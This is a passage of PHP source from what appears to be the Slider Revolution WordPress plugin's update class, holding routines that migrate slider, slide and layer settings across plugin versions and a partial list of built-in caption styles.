			$upd->change_slide_settings_5_1_1();
			$upd->set_version($version);
		}

		if(version_compare($version, '5.2.5.5', '<')){
			$version = '5.2.5.5';
			$upd->change_layers_svg_5_2_5_5();
			$upd->set_version($version);
		}

		//with 6.0, the slider, slide, layer changes are done at a background process if possible, not automatically
		//only push global changes in here outside of slider, slides and layers
		if(version_compare($version, '6.0', '<')){
			$version = '6.0';
			$upd->change_global_settings_to_6_0();
			$upd->change_navigation_settings_to_6_0();
			$upd->change_animations_settings_to_6_0();
			
			// new addition for global addons
			$upd->change_global_addon_settings_to_6_0();
			$upd->set_version($version);
		}
		
		//with 6.1.4, we check the animations again for custom animations
		if(version_compare($version, '6.1.4', '<')){
			$version = '6.1.4';
			
			$upd->change_animations_settings_to_6_0();
			$upd->set_version($version);
		}
		
		//with 6.1.6, we only set the version and upgrade_slider_to_latest() will do the rest
		if(version_compare($version, '6.1.6', '<')){
			$version = '6.1.6';
			$upd->set_version($version);
		}
		
		//with 6.2.0, we check the animations handles again and change them to a new format
		if(version_compare($version, '6.2.0', '<')){
			$version = '6.2.0';
			
			$upd->change_animations_settings_to_6_2_0();
			$upd->change_global_settings_to_6_2_0();
			$upd->set_version($version);
		}
		
		//add this so that sliders will be updated if under 6.4.0
		if(version_compare($version, '6.4.0', '<')){
			$upd->set_version('6.4.0');
		}

		//add this so that sliders will be updated if under 6.4.10
		if(version_compare($version, '6.4.10', '<')){
			$upd->change_navigation_settings_to_6_4_10();
			$upd->set_version('6.4.10');
		}
	}
	
	/**
	 * check to convert the given Slider to latest versions
	 * @since: 6.0
	 **/
	public static function upgrade_slider_to_latest($slider){
		$upd = new RevSliderPluginUpdate();
		$version = $slider->get_setting('version', '1.0.0');
		if(version_compare($version, '6.0.0', '<')){
			//$upd->update_css_styles(); //set to version 5
			$upd->add_animation_settings_to_layer($slider); //set to version 5
			$upd->add_style_settings_to_layer($slider); //set to version 5
			$upd->change_settings_on_layers($slider); //set to version 5
			$upd->add_general_settings($slider); //set to version 5
			$upd->change_general_settings_5_0_7($slider); //set to version 5.0.7
			$upd->change_layers_svg_5_2_5_5($slider); //set to version 5.2.5.5
			$upd->change_animations_settings_to_6_0(); //check if new navigations are added through import
			$upd->upgrade_slider_to_6_0($slider);
		}
		
		if(version_compare($version, '6.1.4', '<')){
			$upd->upgrade_slider_to_6_1_4($slider);
		}
		
		if(version_compare($version, '6.1.6', '<')){
			$upd->upgrade_slider_to_6_1_6($slider);
		}
		
		if(version_compare($version, '6.2.0', '<')){
			$upd->change_animations_settings_to_6_2_0(); //check if new navigations are added through import
			$upd->upgrade_slider_to_6_2_0($slider);
		}
		
		if(version_compare($version, '6.4.0', '<')){
			$upd->upgrade_slider_to_6_4_0($slider);
		}
		
		if(version_compare($version, '6.4.10', '<')){
			$upd->change_navigation_settings_to_6_4_10();
			$upd->upgrade_slider_to_6_4_10($slider);
		}
	}
	
	/**
	 * get the CSS Navigation advanced styles, needed for 6.0
	 * @since: 6.0
	 **/
	public function get_css_navigations(){
		if(empty($this->css_navigations)){
			$css_parser = RevSliderGlobals::instance()->get('RevSliderCssParser');
			$this->css_navigations = $css_parser->get_database_classes(true);
		}
		return $this->css_navigations;
	}

	/**
	 * check if there are still Slider below latest version, if yes then add JavaScript to the header
	 * @since: 6.0.0
	 **/
	public function slider_need_update_checks(){
		$finished = get_option('revslider_update_revision_current', '1.0.0');
		
		return (version_compare($finished, $this->revision, '<')) ? true : false;
	}

	/**
	 * get the next slider that is not on the latest version and update it to the latest
	 * @since: 6.0.0
	 * @since: 6.2.0: added template sliders to the update routine
	 **/
	public function upgrade_next_slider(){
		$slr = new RevSliderSlider();

		$sliders = $slr->get_sliders();
		if(!empty($sliders)){
			foreach($sliders as $slider){
				if(version_compare($this->get_val($slider, array('settings', 'version')), $this->revision, '<')){
					$this->upgrade_slider_to_latest($slider);
					return array('status' => 'next');
				}
			}
		}
		
		//template sliders
		$sliders = $slr->get_sliders(true);
		if(!empty($sliders)){
			foreach($sliders as $slider){
				if(version_compare($this->get_val($slider, array('settings', 'version')), $this->revision, '<')){
					$this->upgrade_slider_to_latest($slider);
					return array('status' => 'next');
				}
			}
		}

		//we can only get to this point, after all Sliders have been updated to the latest revision
		update_option('revslider_update_revision_current', $this->revision);

		return array('status' => 'finished');
	}

	/**
	 * check to convert the given Slider to latest versions
	 * @since: 6.0
	 **/
	public function upgrade_slider_to_6_0($slider){
		ini_set('max_execution_time', 300);
		
		$upd = new RevSliderPluginUpdate();
		$upd->change_navigation_slider_to_6_0($slider);
		$upd->change_slider_settings_to_6_0($slider); //set to version 6.0
		$upd->change_slide_settings_to_6_0($slider); //set to version 6.0
		$upd->change_layer_settings_to_6_0($slider); //set to version 6.0
		
		$upd->remove_unneeded_slider_settings($slider);
	}
	
	/**
	 * check to convert the given Slider to latest versions
	 * @since: 6.1.4
	 * reverse the carousel.scaleDown value. If it was 85, change it to 15 and vice versa
	 **/
	public function upgrade_slider_to_6_1_4($sliders = false){
		$sr = new RevSliderSlider();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$carousel = $slider->get_param('carousel', array());
				$scale_down = $this->get_val($carousel, 'scaleDown');
				
				if($scale_down !== false){
					$carousel['scaleDown'] = 100 - intval($scale_down);
					$slider->update_params(array('carousel' => $carousel));
				}
				
				$slider->update_settings(array('version' => '6.1.4'));
			}
		}
	}
	
	/**
	 * check to convert the given Slider to latest versions
	 * @since: 6.1.6
	 * check in the slide transitions, if we have a transition with a ","
	 * if this is the case, split it up
	 **/
	public function upgrade_slider_to_6_1_6($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false
		
		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$static_id = $sl->get_static_slide_id($slider->get_id());
				if($static_id !== false){
					$msl = new RevSliderSlide();
					if(strpos($static_id, 'static_') === false){
						$static_id = 'static_'. $static_id; //$slider->get_id();
					}
					$msl->init_by_id($static_id);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$settings = $slide->get_settings();
						if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.1.6', '<')){
							$params = $slide->get_params();
							$transitions = $this->get_val($params, array('timeline', 'transition'), array());
							$new_transitions = array();
							$save = false;
							if(!empty($transitions) && is_array($transitions)){
								foreach($transitions as $t => $v){
									if(strpos($v, ',') !== false){
										$save = true;
										$_v = explode(',', $v);
										if(!empty($_v)){
											foreach($_v as $k => $__v){
												$new_transitions[] = $__v;
											}
										}
									}else{
										$new_transitions[] = $v;
									}
								}
								if($save){
									$this->set_val($params, array('timeline', 'transition'), $new_transitions);
									$slide->set_params($params);
									$slide->save_params();
								}
							}
							
							$slide->settings['version'] = '6.1.6';
							$slide->save_settings();
						}
					}
				}
				
				$slider->update_settings(array('version' => '6.1.6'));
			}
		}
	}
	
	
	/** check to convert the given Slider to latest versions
	 * @since: 6.2.0
	 * check in all layers, if we have a ease in it and convert it
	 **/
	public function upgrade_slider_to_6_2_0($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false
		
		if(!empty($sliders) && is_array($sliders)){
			
			foreach($sliders as $slider){
				//on slider params
				if(version_compare($slider->get_setting('version', '1.0.0'), '6.2.0', '<')){
					$params = $slider->get_params();
					$json_params	= $_json_params = json_encode($params);
					$_json_params	= str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_params);
					
					if($_json_params !== $json_params){
						$params = (array)json_decode($_json_params, true);
						$params['version'] = '6.2.0';
						$slider->update_params($params, true);
					}
				}
				
				$slides = $slider->get_slides(false, true);
				$static_id = $sl->get_static_slide_id($slider->get_id());
				if($static_id !== false){
					$msl = new RevSliderSlide();
					if(strpos($static_id, 'static_') === false){
						$static_id = 'static_'. $static_id;
					}
					$msl->init_by_id($static_id);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$settings = $slide->get_settings();
						//on slides
						if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.2.0', '<')){
							$params			= $slide->get_params();
							$json_params	= $_json_params = json_encode($params);
							$_json_params	= str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_params);
							$params			= ($_json_params !== $json_params) ? (array)json_decode($_json_params, true) : $params;
							$params['version'] = '6.2.0';
							
							$slide->set_params($params);
							$slide->save_params();
							
							$slide->settings['version'] = '6.2.0';
							$slide->save_settings();
						}
						
						//on layers
						$layers = $slide->get_layers();
						
						if(!empty($layers) && is_array($layers)){
							$save = false;
							foreach($layers as $lk => $layer){
								$version = $this->get_val($layer, 'version', '1.0.0');
								
								if(version_compare($version, '6.2.0', '<')){
									$save		 = true;
									$json_layer	 = $_json_layer = json_encode($layer);
									$_json_layer = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_layer);
									if($_json_layer !== $json_layer){
										$layers[$lk] = (array)json_decode($_json_layer, true);
									}
									$layers[$lk]['version'] = '6.2.0';
								}
							}
							
							if($save){
								$slide->set_layers_raw($layers);
								$slide->save_layers();
							}
						}
					}
				}
				
				$slider->update_settings(array('version' => '6.2.0'));
			}
		}
	}
	
	
	/** check to convert the given Slider to latest versions
	 * @since: 6.4.0
	 * check in all layers, if we have an gradient in idle and if we need to push it to the hover animation
	 **/
	public function upgrade_slider_to_6_4_0($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false
		
		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				if(version_compare($slider->get_setting('version', '1.0.0'), '6.4.0', '<')){
					$params = $slider->get_params();
					$params['version'] = '6.4.0';
					
					if($this->get_val($params, array('layout', 'bg'), false) !== false){
						$do = strtolower($this->get_val($params, array('layout', 'bg', 'dottedOverlay'), ''));
						if(strpos($do, 'white') !== false)		 $this->set_val($params, array('layout', 'bg', 'dottedColorB'), '#FFFFFF');
						if(strpos($do, 'twoxtwo') !== false)	 $this->set_val($params, array('layout', 'bg', 'dottedOverlay'), '1');
						if(strpos($do, 'threexthree') !== false) $this->set_val($params, array('layout', 'bg', 'dottedOverlay'), '2');
					}
					
					$slider->update_params($params, true);
				}
				
				$slides = $slider->get_slides(false, true);
				$static_id = $sl->get_static_slide_id($slider->get_id());
				if($static_id !== false){
					$msl = new RevSliderSlide();
					if(strpos($static_id, 'static_') === false){
						$static_id = 'static_'. $static_id;
					}
					$msl->init_by_id($static_id);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$settings = $slide->get_settings();
						//on slides
						if(version_compare($this->get_val($settings, 'version', '1.0.0'), '6.4.0', '<')){
							$params			= $slide->get_params();
							$params['version'] = '6.4.0';
							
							$do	= $this->get_val($params, array('bg', 'video', 'dottedOverlay'), 'none');
							if(strpos($do, 'white') !== false)		 $this->set_val($params, array('bg', 'video', 'dottedColorB'), '#FFFFFF');
							if(strpos($do, 'twoxtwo') !== false)	 $this->set_val($params, array('bg', 'video', 'dottedOverlay'), '1');
							if(strpos($do, 'threexthree') !== false) $this->set_val($params, array('bg', 'video', 'dottedOverlay'), '2');
							
							$slide->set_params($params);
							$slide->save_params();
							
							$slide->settings['version'] = '6.4.0';
							$slide->save_settings();
						}
						
						//on layers
						$layers = $slide->get_layers();
						
						if(!empty($layers) && is_array($layers)){
							$save = false;
							foreach($layers as $lk => $layer){
								$version = $this->get_val($layer, 'version', '1.0.0');
								
								if(version_compare($version, '6.4.0', '<')){
									$save		 = true;
									$layers[$lk]['version'] = '6.4.0';
									
									if($this->get_val($layer, 'type', 'text') === 'video'){
										$do = $this->get_val($layer, array('media', 'dotted'));
										if(strpos($do, 'white') !== false)		 $this->set_val($layers, array($lk, 'media', 'dottedColorB'), '#FFFFFF');
										if(strpos($do, 'twoxtwo') !== false)	 $this->set_val($layers, array($lk, 'media', 'dotted'), '1');
										if(strpos($do, 'threexthree') !== false) $this->set_val($layers, array($lk, 'media', 'dotted'), '2');
									}
									
									if($this->get_val($layer, 'type', 'text') === 'shape') continue;
									$idle_bg = $this->get_val($layer, array('idle', 'backgroundColor'), '');
									if(
										strpos($idle_bg, 'gradient') === false &&
										strpos($idle_bg, 'radial') === false && 
										strpos($idle_bg, 'linear') === false && 
										strpos($idle_bg, '&type') === false
									) continue;
									if($this->get_val($layer, array('hover', 'usehover'), false) === false) continue;
									
									$hover_bg = $this->get_val($layer, array('hover', 'backgroundColor'), '');
									if(
										strpos($hover_bg, 'gradient') !== false ||
										strpos($hover_bg, 'radial') !== false || 
										strpos($hover_bg, 'linear') !== false || 
										strpos($hover_bg, '&type') !== false
									) continue;
									
									$layers[$lk]['hover']['backgroundColor'] = $idle_bg;
								}
							}
							
							if($save){
								$slide->set_layers_raw($layers);
								$slide->save_layers();
							}
						}
					}
				}
				
				$slider->update_settings(array('version' => '6.4.0'));
			}
		}
	}
	
	/** check to convert the given Slider to latest versions
	 * @since: 6.4.10
	 **/
	public function upgrade_slider_to_6_4_10($sliders = false){
		$sr = new RevSliderSlider();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false
		
		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				if(version_compare($slider->get_setting('version', '1.0.0'), '6.4.10', '<')){
					$params = $slider->get_params();
					$params['version'] = '6.4.10';
					
					$slider->update_params($params, true);
					
					$slider->update_settings(array('version' => '6.4.10'));
				}
			}
		}
	}
	
	
	/**
	 * translates removed settings from Slider Settings from version <= 4.x to 5.0
	 * before: RevSliderBase::translate_settings_to_v5()
	 * @since: 5.0
	 **/
	public function translate_navigation_to_v5($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();

		if($sliders === false){
			//do it on all Sliders
			$sliders = $sr->get_sliders();
		}else{
			$sliders = array($sliders);
		}

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$s = $slider->get_settings();

				if(isset($s['navigaion_type'])){
					switch ($s['navigaion_type']){
					case 'none': // all is off, so leave the defaults
						break;
					case 'bullet':
						$s['enable_bullets'] = 'on';
						$s['enable_thumbnails'] = 'off';
						$s['enable_tabs'] = 'off';

						break;
					case 'thumb':
						$s['enable_bullets'] = 'off';
						$s['enable_thumbnails'] = 'on';
						$s['enable_tabs'] = 'off';
						break;
					}
					unset($s['navigaion_type']);
				}

				if(isset($s['navigation_arrows'])){
					$s['enable_arrows'] = ($s['navigation_arrows'] == 'solo' || $s['navigation_arrows'] == 'nexttobullets') ? 'on' : 'off';
					unset($s['navigation_arrows']);
				}

				if(isset($s['navigation_style'])){
					$s['navigation_arrow_style'] = $s['navigation_style'];
					$s['navigation_bullets_style'] = $s['navigation_style'];
					unset($s['navigation_style']);
				}

				if(isset($s['navigaion_always_on'])){
					$s['arrows_always_on'] = $s['navigaion_always_on'];
					$s['bullets_always_on'] = $s['navigaion_always_on'];
					$s['thumbs_always_on'] = $s['navigaion_always_on'];
					unset($s['navigaion_always_on']);
				}

				if(isset($s['hide_thumbs']) && !isset($s['hide_arrows']) && !isset($s['hide_bullets'])){
					//as hide_thumbs is still existing, we need to check if the other two were already set and only translate this if they are not set yet
					$s['hide_arrows'] = $s['hide_thumbs'];
					$s['hide_bullets'] = $s['hide_thumbs'];
				}

				if(isset($s['navigaion_align_vert'])){
					$s['bullets_align_vert'] = $s['navigaion_align_vert'];
					$s['thumbnails_align_vert'] = $s['navigaion_align_vert'];
					unset($s['navigaion_align_vert']);
				}

				if(isset($s['navigaion_align_hor'])){
					$s['bullets_align_hor'] = $s['navigaion_align_hor'];
					$s['thumbnails_align_hor'] = $s['navigaion_align_hor'];
					unset($s['navigaion_align_hor']);
				}

				if(isset($s['navigaion_offset_hor'])){
					$s['bullets_offset_hor'] = $s['navigaion_offset_hor'];
					$s['thumbnails_offset_hor'] = $s['navigaion_offset_hor'];
					unset($s['navigaion_offset_hor']);
				}

				if(isset($s['navigaion_offset_hor'])){
					$s['bullets_offset_hor'] = $s['navigaion_offset_hor'];
					$s['thumbnails_offset_hor'] = $s['navigaion_offset_hor'];
					unset($s['navigaion_offset_hor']);
				}

				if(isset($s['navigaion_offset_vert'])){
					$s['bullets_offset_vert'] = $s['navigaion_offset_vert'];
					$s['thumbnails_offset_vert'] = $s['navigaion_offset_vert'];
					unset($s['navigaion_offset_vert']);
				}

				if(isset($s['show_timerbar']) && !isset($s['enable_progressbar'])){
					if($s['show_timerbar'] == 'hide'){
						$s['enable_progressbar'] = 'off';
						$s['show_timerbar'] = 'top';
					}else{
						$s['enable_progressbar'] = 'on';
					}
				}

				$slider->update_settings($s);
			}
		}
	}

	/**
	 * add new styles for version 5.0
	 * @since 5.0
	 */
	public function add_v5_styles(){
		global $wpdb;

		$v5 = array(
			array('handle' => '.tp-caption.MarkerDisplay', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ff0000","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0px","0px","0px","0px"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"font-style":"normal","font-family":"Permanent Marker","padding":"0px 0px 0px 0px","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#000000","border-style":"none","border-width":"0px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"120px","line-height":"120px","font-weight":"700","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Cursive', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"30px","line-height":"30px","font-weight":"400","font-style":"normal","font-family":"Nothing you could do","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-ScrollDownText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"17px","line-height":"17px","font-weight":"400","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Description', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Price', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"30px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Restaurant-Menuitem', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"500","easing":"power2.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"400","font-style":"normal","font-family":"Roboto","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Furniture-LogoText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#e6cfa3","color-transparency":"1","font-size":"160px","line-height":"150px","font-weight":"300","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'),
			array('handle' => '.tp-caption.Furniture-Plus', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0.5","easing":"none"}', 'params' => '{"color":"#e6cfa3","color-transparency":"1","font-size":"20","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"\\"Raleway\\"","padding":["6px","7px","4px","7px"],"text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none","box-shadow":"rgba(0,0,0,0.1) 0 1px 3px"},"hover":""}'),
			array('handle' => '.tp-caption.Furniture-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"700","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none","letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Furniture-Subtitle', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"17px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'),
			array('handle' => '.tp-caption.Gym-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"80px","line-height":"70px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
